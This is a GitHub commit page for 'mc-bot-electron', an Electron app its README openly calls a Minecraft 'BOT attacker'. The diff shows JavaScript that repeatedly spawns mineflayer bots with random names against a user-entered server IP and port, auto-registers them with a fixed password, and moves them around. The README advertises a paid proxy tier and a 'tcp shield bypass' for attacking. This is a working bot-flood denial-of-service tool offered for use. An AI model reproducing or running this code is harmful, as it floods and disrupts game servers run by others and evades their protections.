Skip to content
This repository has been archived by the owner on Apr 11, 2023. It is now read-only.

Commit

Permalink
Update 0.2
Browse files Browse the repository at this point in the history
  • Loading branch information
Ghalbeyou authored Jun 8, 2022
1 parent a24ddca commit 365b898
Show file tree
Hide file tree
Showing 6 changed files with 56 additions and 21 deletions.
37 changes: 35 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,8 +1,41 @@
# mc bot electron
# Minecraft Bot Electron (<b>BETA</b>)
![](https://img.shields.io/github/license/Ghalbeyou/mc-bot-electron)
![](https://img.shields.io/discord/848844159419023410?color=green&label=Discord)
![](https://img.shields.io/github/size/Ghalbeyou/mc-bot-electron/index.js)

An MC BOT attacker built with electron!
## Changes
- fix lag
- fix no connecting
- added tcp shield bypasss (only in [permium](https://twitter.com/AccountAmini))
## Oriview
- [Install](#install)
- [Run](#run)
- [Permium](#permium)
- [End](#end)
## Install
clone this respo with:
```bash
$ gh repo clone Ghalbeyou/mc-bot-electron
```
then, go to folder and type:
```bash
$ npm install
```
Install electron too!
```bash
$ npm install electron -g
```
## Run
go to folder, after <a href="#install">Installing</a> you may now type in console
```bash
$ electron ./index.js
```
and then the apps run!
## Permium
what is permium for this app? lets answer them with this...
the app can only attack with your IP! but the permium uses proxy to attack.

buy here: <a href="https://twitter.com/AccountAmini">from twitter</a> !
## End
Done
i will add more updates for this version and permium, so follow me or add this respo a star so that you won't forget when i update it.
2 changes: 2 additions & 0 deletions SECURITY.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,3 +19,5 @@ Use this section to tell people how to report a vulnerability.
Tell them where to go, how often they can expect to get an update on a
reported vulnerability, what to expect if the vulnerability is accepted or
declined, etc.
## Safe
The app is safe, until you download it from unknown source...
4 changes: 4 additions & 0 deletions index.html
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,10 @@ <h2 class="mt-6 text-center text-3xl font-extrabold text-gray-900">Lets Send BOT
<input id="version" name="password" type="text" required class="appearance-none rounded-none relative block w-full px-3 py-2 border border-gray-300 placeholder-gray-500 text-gray-900 rounded-b-md focus:outline-none focus:ring-indigo-500 focus:border-indigo-500 focus:z-10 sm:text-sm" placeholder="Server VERSION">
</div>
</div>
<div>
<p>LOG:</p>
<textarea id="log" disabled></textarea>
</div>
<div>
<button id="btn" type="submit" class="group relative w-full flex justify-center py-2 px-4 border border-transparent text-sm font-medium rounded-md text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
<span class="absolute left-0 inset-y-0 flex items-center pl-3">
Expand Down
1 change: 0 additions & 1 deletion index.js
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,6 @@ const createWindow = () => {
webPreferences:{
nodeIntegration: true,
contextIsolation: false,
devTools: true,
}
})

Expand Down
4 changes: 2 additions & 2 deletions runtime/app.js
Original file line number Diff line number Diff line change
Expand Up @@ -25,10 +25,10 @@ exports.SetupForm = function(){
}
var port = document.getElementById('password');
var version = document.getElementById('version');
let second = 1;
// let second = 1;
var inve = setInterval(() => {
create(ip.value, port.value, version.value);
}, 1);
}, 300);
setTimeout(() => {
clearInterval(inve);

Expand Down
29 changes: 13 additions & 16 deletions runtime/attacker.js
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ function makeid() {
}

exports.create = function createBot(ip, port, version) {
var logger = document.getElementById('log');
const bot = mineflayer.createBot({
username: makeid(),
password: "",
Expand All @@ -29,27 +30,27 @@ exports.create = function createBot(ip, port, version) {
bot.settings.colorsEnabled = false;

bot.once('spawn', () => {
console.log('\x1b[33m[BotLog] Bot joined to the server', '\x1b[0m');

console.log('[INFO] Started auto-auth module');
logger.innerHTML = "[BotLog] Bot joined to the server\n";
logger.innerHTML = '[INFO] Started auto-auth module';

var password = "123456"
setTimeout(() => {
bot.chat(`/register ${password} ${password}`);
bot.chat(`/login ${password}`);
}, 500);

console.log(`[Auth] Authentification commands executed.`);
logger.innerHTML = `[Auth] Authentification commands executed.`;


const pos = { "enabled": false,
"x": 0,
"y": 0,
"z": 0};

console.log(
`\x1b[32m[BotLog] Starting moving to target location (${pos.x}, ${pos.y}, ${pos.z})\x1b[0m`
);
logger.innerHTML=
`[BotLog] Starting moving to target location (${pos.x}, ${pos.y}, ${pos.z})`
;
bot.pathfinder.setMovements(defaultMove);
bot.pathfinder.setGoal(new GoalBlock(pos.x, pos.y, pos.z));

Expand All @@ -58,20 +59,16 @@ exports.create = function createBot(ip, port, version) {


bot.on('death', () => {
console.log(
`\x1b[33m[BotLog] Bot has been died and was respawned ${bot.entity.position}`,
'\x1b[0m'
);
logger.innerHTML = "[BotLog] Bot died";
});

bot.on('kicked', (reason) =>
console.log(
'\x1b[33m',
`[BotLog] Bot was kicked from the server. Reason: \n${reason}`,
'\x1b[0m'
)
// bot kicked
logger.innerHTML = `[BotLog] Bot kicked: ${reason}`
);
bot.on('error', (err) =>
console.log(`\x1b[31m[ERROR] ${err.message}`, '\x1b[0m')
// bot error
logger.innerHTML = `[BotLog] Bot error: ${err}`

);
}

0 comments on commit 365b898

Please sign in to comment.